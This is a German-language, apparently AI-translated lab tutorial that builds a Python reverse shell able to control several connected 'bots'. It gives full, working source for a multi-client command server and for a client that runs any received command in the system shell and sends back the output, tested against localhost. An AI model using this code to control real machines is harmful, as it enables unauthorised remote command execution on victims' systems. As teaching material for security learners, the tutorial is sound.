Reverse Shell zur Kontrolle mehrerer Ziele

PythonPythonBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Projekt lernst du, wie du eine Reverse Shell mit Python erstellen kannst, die es dir ermöglicht, mehrere kompromittierte Maschinen, auch als "Bots" bezeichnet, zu steuern. Im Gegensatz zu traditionellen Shells startet eine Reverse Shell eine Verbindung vom Bot zum Controller, was die Verwaltung von Remote-Hosts auch hinter Firewalls oder NAT ermöglicht. Diese Methode wird in der Cybersicherheit weit verbreitet bei Penetrationstests und der sicheren Verwaltung von kontrollierten Umgebungen eingesetzt.

Bevor du in die Implementierung eintauchst, ist es wichtig, die grundlegenden Konzepte hinter unserer Reverse-Shell-Anwendung zu verstehen, einschließlich der Client-Server- (C/S-) Architektur und des Transmission Control Protocols (TCP).

Die C/S-Architektur besteht aus einem Client, der Dienste anfordert, und einem Server, der Dienste bereitstellt. Im unserem Fall fungieren die Bots als Clients, die Verbindungen zu unserem Server initiieren, was es uns ermöglicht, auf ihnen remote Befehle auszuführen.

Wir werden TCP für zuverlässige, verbindungsorientierte Kommunikation zwischen Server und Clients verwenden. TCP gewährleistet, dass Daten genau und in der richtigen Reihenfolge übermittelt werden, was für die Ausführung von Befehlen und das Empfangen von Antworten ohne Fehler unerlässlich ist.

👀 Vorschau

Reverse shell command execution

🎯 Aufgaben

In diesem Projekt wirst du lernen:

  • Wie du die Client-Server- (C/S-) Architektur und das Transmission Control Protocol (TCP) als Grundlage für die Netzwerkkommunikation verstehst.
  • Wie du einen Server einrichtest, der auf eingehende Verbindungen von mehreren Clients (Bots) wartet.
  • Wie du Client-Skripte erstellst, die sich an den Server verbinden und empfangene Befehle ausführen.
  • Wie du die Funktionalität der Befehlsausführung und der Ergebnisabrufs auf dem Server implementierst, um mit den verbundenen Clients zu interagieren.
  • Wie du mehrere Clientverbindungen gleichzeitig verwalten und zwischen ihnen umschalten, um Befehle zu geben.

🏆 Errungenschaften

Nach Abschluss dieses Projekts wirst du in der Lage sein:

  • Die Grundlagen des Client-Server-Modells und des TCP für zuverlässige Netzwerkkommunikation zu beweisen.
  • Ein multi-client Reverse-Shell-Server in Python zu implementieren.
  • Client-Skripte zu erstellen, die sich an einen Remote-Server verbinden und von diesem gesendete Befehle ausführen können.
  • Mehrere Verbindungen zu handhaben und die Kommunikation mit mehreren Clients in einem kontrollierten Umfeld zu verwalten.
  • Praktische Erfahrungen in der Netzwerkprogrammierung anzuwenden und ein Verständnis ihrer Anwendungen in der Cybersicherheit und der Remote-Systemverwaltung zu erlangen.

Initialisiere die Server-Klasse

In der Datei server.py beginne mit der Grundstruktur der Server-Klasse.

import socket
import threading

class Server:
    def __init__(self, host='0.0.0.0', port=7676):
        self.host = host
        self.port = port
        self.clients = []
        self.current_client = None
        self.exit_flag = False
        self.lock = threading.Lock()

Die Server-Klasse ist dazu gedacht, einen Server zu erstellen, der mehrere Clientverbindungen verarbeiten kann, die im Kontext einer Reverse-Shell-Anwendung üblicherweise als "Bots" bezeichnet werden. Lasst uns die in der Initialisierungsmethode (__init__) definierten Komponenten und Funktionalitäten aufteilen:

  1. Import-Anweisungen:
    • import socket: Dies importiert das integrierte socket-Modul von Python, das die erforderlichen Funktionalitäten für die Netzwerkkommunikation bereitstellt. Sockets sind die Endpunkte eines bidirektionalen Kommunikationskanals und können verwendet werden, um sich mit Clients zu verbinden und zu kommunizieren.
    • import threading: Dies importiert das threading-Modul, das die Erstellung mehrerer Threads innerhalb eines Prozesses ermöglicht. Dies ist essentiell, um mehrere Clientverbindungen gleichzeitig zu verarbeiten, ohne den Hauptausführungsfluss des Servers zu blockieren.
  2. Klassendefinition:
    • class Server:: Diese Zeile definiert die Server-Klasse, die die Funktionalitäten für die Serverseitigen Operationen einer Reverse-Shell kapselt.
  3. Initialisierungsmethode (__init__):
    • def __init__(self, host='0.0.0.0', port=7676):: Diese Methode initialisiert eine neue Instanz der Server-Klasse. Sie hat zwei Parameter mit Standardwerten:
      • host='0.0.0.0': Die Standardhostadresse '0.0.0.0' wird verwendet, um anzugeben, dass der Server auf allen Netzwerkschnittstellen lauschen soll. Dadurch ist der Server von jeder IP-Adresse, die der Computer haben kann, erreichbar.
      • port=7676: Dies ist die Standardportnummer, auf der der Server auf eingehende Verbindungen lauscht. Portnummern werden verwendet, um zwischen verschiedenen Diensten, die auf demselben Computer laufen, zu unterscheiden. Die Wahl der Portnummer 7676 ist beliebig und kann je nach Benutzerpräferenz oder Anforderungen geändert werden.
  4. Instanzvariablen:
    • self.host: Dies speichert die Hostadresse, auf der der Server auf eingehende Verbindungen lauscht.
    • self.port: Dies speichert die Portnummer, auf der der Server lauscht.
    • self.clients = []: Dies initialisiert eine leere Liste, um die verbundenen Clients zu verfolgen. Jeder verbundene Client wird dieser Liste hinzugefügt, was es dem Server ermöglicht, mehrere Clients zu verwalten und zu kommunizieren.
    • self.current_client = None: Diese Variable wird verwendet, um den aktuell ausgewählten Client (sofern vorhanden) für das Senden von Befehlen oder das Empfangen von Daten zu verfolgen.
    • self.exit_flag = False: Dieser Flag wird verwendet, um die Hauptschleife des Servers zu steuern. Wenn dieses Flag auf True gesetzt wird, signalisiert dies dem Server, sich ordnungsgemäß herunterzufahren.
    • self.lock = threading.Lock(): Dies erstellt ein Threadsperrobjekt, das ein Synchronisationsprimitiv ist. Sperren werden verwendet, um sicherzustellen, dass nur ein Thread zu einem Zeitpunkt auf gemeinsam genutzte Ressourcen zugreifen oder ändern kann, um Wettlaufbedingungen zu vermeiden und die Datenintegrität zu gewährleisten.
✨ Lösung prüfen und üben

Starte den TCP-Server

Implementiere die run-Methode, um den Server zu starten und auf Verbindungen zu lauschen.

## weiter in server.py
    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
            server_socket.bind((self.host, self.port))
            server_socket.listen(10)
            print(f"Server hört auf Port {self.port}...")

            connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,))
            connection_thread.start()

            while not self.exit_flag:
                if self.clients:
                    self.select_client()
                    self.handle_client()

Die run-Methode ist der Teil der Server-Klasse, der den TCP-Server startet und beginnt, auf eingehende Verbindungen von Clients (oder "Bots" im Kontext einer Reverse-Shell) zu lauschen. Hier ist eine Aufteilung dessen, was in dieser Methode passiert:

  1. Erstellen eines Sockets:
    • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:: Diese Zeile erstellt einen neuen Socket mit der with-Anweisung, was gewährleistet, dass der Socket automatisch geschlossen wird, wenn er nicht mehr benötigt wird. Der socket.AF_INET-Argument gibt an, dass der Socket die IPv4-Adressierung verwenden wird, und socket.SOCK_STREAM zeigt an, dass es ein TCP-Socket ist, der zuverlässige, verbindungsorientierte Kommunikation bietet.
  2. Binden des Sockets:
    • server_socket.bind((self.host, self.port)): Die bind-Methode assoziiert den Socket mit einer bestimmten Netzwerkschnittstelle und Portnummer. In diesem Fall bindet es den Socket an die host- und port-Attribute der Server-Instanz, um ihn darauf vorzubereiten, auf eingehende Verbindungen an dieser Adresse und Port zu lauschen.
  3. Lauschen auf Verbindungen:
    • server_socket.listen(10): Diese Zeile veranlasst den Socket, anfangen, auf eingehende Verbindungen zu lauschen. Das Argument 10 gibt die maximale Anzahl der in der Warteschlange stehenden Verbindungen (den Backlog) an, bevor der Server beginnt, neue Verbindungen abzulehnen. Dies begrenzt nicht die Gesamtzahl der gleichzeitigen Verbindungen, sondern nur, wie viele in der Warteschlange auf Akzeptanz stehen können.
  4. Starten der Server-Nachricht:
    • print(f"Server hört auf Port {self.port}..."): Gibt eine Nachricht an die Konsole aus, die angibt, dass der Server gestartet und läuft und auf Verbindungen am angegebenen Port lauscht.
  5. Behandeln von eingehenden Verbindungen:
    • connection_thread = threading.Thread(target=self.wait_for_connections, args=(server_socket,)): Diese Zeile initialisiert ein neues Thread-Objekt, setzt seinen Zielwert auf die self.wait_for_connections-Methode mit dem server_socket als Argument. Diese Methode (nicht im Ausschnitt gezeigt) ist vermutlich so konzipiert, dass sie in einer Schleife ständig eingehende Verbindungen annimmt und sie zur self.clients-Liste hinzufügt.
    • connection_thread.start(): Startet den Thread, ruft die self.wait_for_connections-Methode in einem separaten Ausführungsthread auf. Dies ermöglicht es dem Server, den Rest der run-Methode fortzusetzen, ohne zu blockieren, während er auf Verbindungen wartet.
  6. Server-Hauptschleife:
    • while not self.exit_flag:: Diese Schleife führt solange fort, wie self.exit_flag False bleibt. Innerhalb dieser Schleife kann der Server Aufgaben wie das Verwalten von verbundenen Clients oder das Behandeln von Serverbefehlen ausführen.
    • if self.clients:: Überprüft, ob es in der self.clients-Liste verbundene Clients gibt.
      • self.select_client(): Eine Methode (nicht im Ausschnitt gezeigt), die vermutlich dem Serverbetreiber ermöglicht, einen der verbundenen Clients auszuwählen, um mit ihm zu interagieren. Dies könnte das Senden von Befehlen an den Client oder das Empfangen von Daten beinhalten.
      • self.handle_client(): Eine weitere Methode (nicht gezeigt), die wahrscheinlich die Interaktion mit dem ausgewählten Client behandelt. Dies könnte das Lesen von Befehlen vom Serverbetreiber, das Senden dieser an den Client und das Anzeigen der Antwort des Clients beinhalten.

Diese Struktur bereitet den Server vor, um auf und zu verwalten mehrere Clientverbindungen auf nicht blockierende Weise, indem Threads verwendet werden, um die Verbindungsannahme und die Clientverwaltung gleichzeitig zu behandeln.

✨ Lösung prüfen und üben

Akzeptiere eingehende Verbindungen

Füge die wait_for_connections-Methode hinzu, um eingehende Clientverbindungen auf einem separaten Thread zu verwalten.

## weiter in server.py
    def wait_for_connections(self, server_socket):
        while not self.exit_flag:
            client_socket, client_address = server_socket.accept()
            print(f"Neue Verbindung von {client_address[0]}")
            with self.lock:
                self.clients.append((client_socket, client_address))

Die wait_for_connections-Methode ist dazu gedacht, ständig auf eingehende Clientverbindungen auf dem Server zu lauschen und anzunehmen. Diese Methode soll auf einem separaten Thread ausgeführt werden, was es dem Server ermöglicht, andere Aufgaben (wie die Interaktion mit verbundenen Clients) auszuführen, ohne durch den accept-Aufruf blockiert zu werden, der auf eine neue Verbindung wartet. Hier ist eine detaillierte Aufteilung:

  1. Kontinuierlicher Lauschenden Schleife:
    • while not self.exit_flag:: Diese Schleife läuft solange, wie self.exit_flag False ist. Das Ziel dieses Flags ist es, eine kontrollierte Möglichkeit zum Stoppen des Servers, einschließlich dieser Lauschenden Schleife, bereitzustellen. Wenn self.exit_flag auf True gesetzt wird, wird die Schleife beendet, was effektiv verhindert, dass der Server neue Verbindungen annimmt.
  2. Annehmen von Verbindungen:
    • client_socket, client_address = server_socket.accept(): Die accept-Methode wartet auf eine eingehende Verbindung. Wenn ein Client sich verbindet, gibt sie ein neues Socket-Objekt (client_socket), das die Verbindung repräsentiert, und ein Tupel (client_address), das die IP-Adresse und die Portnummer des Clients enthält, zurück. Diese Zeile blockiert die Ausführung des Threads, bis eine neue Verbindung empfangen wird.
  3. Verbindungsbenachrichtigung:
    • print(f"Neue Verbindung von {client_address[0]}"): Sobald eine neue Verbindung angenommen wird, wird eine Nachricht an die Konsole ausgegeben, die die IP-Adresse des neu verbundenen Clients angibt. Dies ist für die Protokollierung und Überwachung nützlich.
  4. Thread-sichere Clientverwaltung:
    • with self.lock:: Dies verwendet ein Threadsperrobjekt (self.lock), das am Anfang des Blocks erworben und am Ende automatisch wieder freigegeben wird. Das Ziel der Sperre ist es, eine thread-sichere Zugang zu gemeinsam genutzten Ressourcen zu gewährleisten, in diesem Fall der self.clients-Liste. Dies ist in einer multi-threaded Umgebung entscheidend, um Datenkorruption zu vermeiden und Konsistenz sicherzustellen.
    • self.clients.append((client_socket, client_address)): Innerhalb des geschützten Blocks fügt die Methode das neue Socket und die Adresse des Clients als Tupel zur self.clients-Liste hinzu. Diese Liste verfolgt alle verbundenen Clients, was es dem Server ermöglicht, später individuell mit ihnen zu interagieren.

Diese Methode gewährleistet, dass der Server eingehende Verbindungen gleichzeitig mit anderen Aufgaben behandeln kann und eine Liste von verbundenen Clients sicher verwalten kann, um eine weitere Interaktion zu ermöglichen. Die Verwendung von Threads und Sperren ist essentiell, um die Leistung und die Datenintegrität in einer parallelen Umgebung aufrechtzuerhalten.

✨ Lösung prüfen und üben

Implementiere Client-Interaktionsfunktionen

Implementiere Funktionen, um verbundene Clients auszuwählen und mit ihnen zu interagieren.

## weiter in server.py
    def select_client(self):
        print("Verfügbare Clients:")
        for index, (_, addr) in enumerate(self.clients):
            print(f"[{index}]-> {addr[0]}")

        index = int(input("Wähle einen Client per Index: "))
        self.current_client = self.clients[index]

    def handle_client(self):
        client_socket, client_address = self.current_client
        while True:
            command = input(f"{client_address[0]}:~## ")
            if command == '!ch':
                break
            if command == '!q':
                self.exit_flag = True
                print("Server wird beendet...")
                break

            client_socket.send(command.encode('utf-8'))
            response = client_socket.recv(1024)
            print(response.decode('utf-8'))

Die select_client- und handle_client-Funktionen sind entscheidende Komponenten für die Interaktion mit verbundenen Clients in einem Reverse-Shell-Server-Umfeld. Hier ist, wie jede Funktion funktioniert:

select_client-Funktion

Diese Funktion ist verantwortlich für das Auflisten aller derzeit verbundenen Clients und ermöglicht es dem Serverbetreiber, einen für die Interaktion auszuwählen:

  • print("Verfügbare Clients:"): Zeigt eine Nachricht an, die angibt, dass die Liste der verfügbaren Clients folgen wird.
  • for index, (_, addr) in enumerate(self.clients):: Iteriert durch die self.clients-Liste, die Tupel von Client-Sockets und -Adressen enthält. Das _ ist ein Platzhalter für den Client-Socket, der in diesem Zusammenhang nicht benötigt wird, und addr ist die Client-Adresse. Die enumerate-Funktion fügt jedem Element einen Index hinzu.
  • print(f"[{index}]-> {addr[0]}"): Für jeden Client wird ein Index und die IP-Adresse des Clients ausgegeben. Dies ermöglicht es dem Betreiber, leicht zu sehen, wie viele und welche Clients verbunden sind.
  • index = int(input("Wähle einen Client per Index: ")): Fordert den Serverbetreiber auf, den Index des Clients einzugeben, mit dem er interagieren möchte. Diese Eingabe wird in einen Integer umgewandelt und in index gespeichert.
  • self.current_client = self.clients[index]: Setzt self.current_client auf das Client-Tupel (Socket und Adresse) entsprechend des ausgewählten Indexes. Dieser Client wird das Ziel für nachfolgende Befehle sein.

handle_client-Funktion

Diese Funktion erleichtert das Senden von Befehlen an den ausgewählten Client und das Empfangen von Antworten:

  • client_socket, client_address = self.current_client: Entpackt das self.current_client-Tupel in client_socket und client_address.
  • while True:: Tritt in eine Endlosschleife ein, die es dem Serverbetreiber ermöglicht, kontinuierlich Befehle an den Client zu senden, bis ein spezieller Befehl eingegeben wird.
  • command = input(f"{client_address[0]}:~## "): Fordert den Serverbetreiber auf, einen Befehl einzugeben. Der Prompt enthält die IP-Adresse des aktuellen Clients für Klarheit.
  • if command == '!ch':: Überprüft, ob der spezielle Befehl !ch eingegeben wurde, was ein Signal zum Ändern des aktuellen Clients ist. Wenn ja, bricht die Schleife ab, um dem Serverbetreiber die Möglichkeit zu geben, einen neuen Client auszuwählen.
  • if command == '!q':: Überprüft, ob der Befehl zum Beenden des Servers (!q) eingegeben wurde. Wenn ja, setzt self.exit_flag auf True, um die Server-Schleife zu beenden und bricht aus der Client-Bearbeitungsschleife aus.
  • client_socket.send(command.encode('utf-8')): Sendet den eingegebenen Befehl an den Client. Der Befehl wird in Bytes codiert, indem UTF-8-Codierung verwendet wird, da die Netzwerkkommunikation erfordert, dass die Daten in Bytes vorliegen.
  • response = client_socket.recv(1024): Wartet auf und empfängt die Antwort vom Client. Der recv(1024)-Aufruf gibt an, dass bis zu 1024 Bytes gelesen werden sollen. Für größere Antworten muss dies möglicherweise angepasst oder in einer Schleife behandelt werden.
  • print(response.decode('utf-8')): Decodiert die empfangene Byte-Antwort mit UTF-8 und gibt sie aus. Dies zeigt dem Serverbetreiber das Ergebnis des ausgeführten Befehls auf der Client-Maschine.

Diese Funktionen ermöglichen zusammen dem Serverbetreiber, mehrere verbundene Clients zu verwalten, Befehle an ausgewählte Clients zu senden und ihre Antworten anzuzeigen, was grundlegende Funktionen für einen Reverse-Shell-Server sind.

✨ Lösung prüfen und üben

Starte den Server

Füge den Einstiegspunkt hinzu, um den Server zu instanziieren und auszuführen.

## weiter in server.py
if __name__ == "__main__":
    server = Server()
    server.run()

Dieser Teil des Skripts startet den Server, wenn das Skript ausgeführt wird, was es ihm ermöglicht, Verbindungen von Clients anzunehmen und zu verwalten.

✨ Lösung prüfen und üben

Erstellen des Clients

Als nächstes erstellen wir die Client-Seite (Bot). Der Client wird sich an den Server verbinden und die empfangenen Befehle ausführen.

In der client.py fügen Sie den folgenden Inhalt hinzu:

import socket
import subprocess
import sys
import time

def connect_to_server(host, port):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((host, port))
        while True:
            command = sock.recv(1024).decode('utf-8')
            result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            output = result.stdout.decode(sys.getfilesystemencoding())
            sock.send(output.encode('utf-8'))
            time.sleep(1)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 7676
    connect_to_server(HOST, PORT)

Das client.py-Skript zeigt, wie ein Client (oder "Bot" im Kontext einer Reverse-Shell) sich an den Server verbindet und eingehende Befehle behandelt. Hier ist eine Schritt-für-Schritt-Erklärung:

  • def connect_to_server(host, port):: Definiert eine Funktion, die einen Host und eine Portnummer als Parameter nimmt, um sich an den Server zu verbinden.
  • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:: Erstellt ein Socket-Objekt mit IPv4-Adressierung (AF_INET) und TCP (SOCK_STREAM), was gewährleistet, dass es automatisch geschlossen wird, nachdem der with-Block verlassen wurde.
  • sock.connect((host, port)): Initiiert eine Verbindung zum Server an der angegebenen Host- und Portnummer.
  • while True:: Tritt in eine Endlosschleife ein, um ständig auf Befehle vom Server zu warten.
  • command = sock.recv(1024).decode('utf-8'): Wartet darauf, einen Befehl vom Server zu empfangen, liest dabei bis zu 1024 Bytes. Die empfangenen Bytes werden dann mit UTF-8 decodiert, um sie wieder in einen String umzuwandeln.
  • result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE): Führt den empfangenen Befehl mit der System-Shell aus. stdout=subprocess.PIPE und stderr=subprocess.PIPE fangen die Standardausgabe und die Standardfehlerausgabe des Befehls auf, respektive.
  • output = result.stdout.decode(sys.getfilesystemencoding()): Decodiert die Ausgabe der Befehlsausführung von Bytes in einen String mit der Kodierung des Dateisystems, was gewährleistet, dass Zeichen, die spezifisch für das Dateisystem des Systems sind, richtig interpretiert werden.
  • sock.send(output.encode('utf-8')): Sendet das Ergebnis der Befehlsausführung zurück an den Server, codiert es in UTF-8, um den String wieder in Bytes umzuwandeln, die für die Netzwerkübertragung geeignet sind.
  • time.sleep(1): Pausiert die Ausführung für 1 Sekunde, bevor es auf den nächsten Befehl wartet. Dies wird normalerweise verwendet, um zu verhindern, dass der Client das Netzwerk oder den Server mit schnellen, kontinuierlichen Anfragen überlastet.

Dieses Client-Skript wandelt effektiv die Maschine, auf der es ausgeführt wird, in einen "Bot" um, der sich an einen angegebenen Server verbindet, auf Befehle wartet, sie ausführt und die Ergebnisse zurückgibt. Diese Einrichtung ist typisch für kontrollierte Umgebungen in der Cybersicherheitspraxis, wie z. B. Penetration-Testing-Labors, in denen Forscher Angriffe und Abwehrmaßnahmen simulieren, um die Sicherheitseinrichtungen besser zu verstehen und zu verbessern.

✨ Lösung prüfen und üben

Testen der Einrichtung

Schließlich testen wir unsere Reverse-Shell-Einrichtung, um sicherzustellen, dass sie wie erwartet funktioniert.

Ausführen des Servers

Führen Sie zunächst das server.py-Skript in einem Terminalfenster aus:

python server.py
Ausführen des Clients

Öffnen Sie ein separates Terminalfenster:

Öffnen eines neuen Terminalfensters

Führen Sie das client.py-Skript aus:

python client.py
Ausführen von Befehlen

Zurück im Server-Terminal:

Server-Terminal mit Clientauswahl

Sie sollten in der Lage sein, den verbundenen Client auszuwählen und Befehle auszuführen. Versuchen Sie beispielsweise, die Verzeichnisinhalte aufzulisten:

ls /

Sie sollten die Ausgabe des ls /-Befehls, der auf der Clientmaschine ausgeführt wird, im Server-Terminal sehen.

Server-Terminal - ls-Ausgabe

Zusammenfassung

In diesem Projekt haben Sie gelernt, wie man mithilfe von Python eine grundlegende Reverse-Shell implementiert, indem man das Client-Server-Architektur und TCP für die Kommunikation nutzt. Sie haben einen Server eingerichtet, der auf Verbindungen von Clients (Bots) wartet und ihnen Befehle sendet. Diese Technik ist eine grundlegende Fähigkeit in der Netzwerkprogrammierung und der Cybersicherheit und zeigt die Stärke und Flexibilität von Python bei der Verwaltung von Remote-Systemen.